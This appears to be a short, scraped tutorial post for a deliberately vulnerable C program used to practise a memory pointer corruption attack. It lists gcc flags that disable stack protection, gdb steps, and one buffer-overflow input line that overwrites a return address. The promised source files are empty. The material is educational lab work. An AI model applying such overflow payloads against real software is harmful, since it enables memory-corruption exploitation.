mpc - Memory Pointer Corruption Attack.

mpc – Memory Pointer Corruption Attack.

mpc is a vulnerable script for Memory Pointer Corruption Attack.
How To Compile:
– gcc -fno-stack-protector -z execstack -o bof bof.c
– gcc -g -fno-stack-protector mpc.c

Debug Example : a.out

Debug Example : a.out

How to debug(example):
– Open with gdb:
— gdb a.out
— break foo
— run `python -c “print ‘B’*4 + ‘A’*92 + ’40f4ffbf’.decode(‘hex’)”
— next
mpc.c Script:

bof.c Script:

Source : https://github.com/k6hawt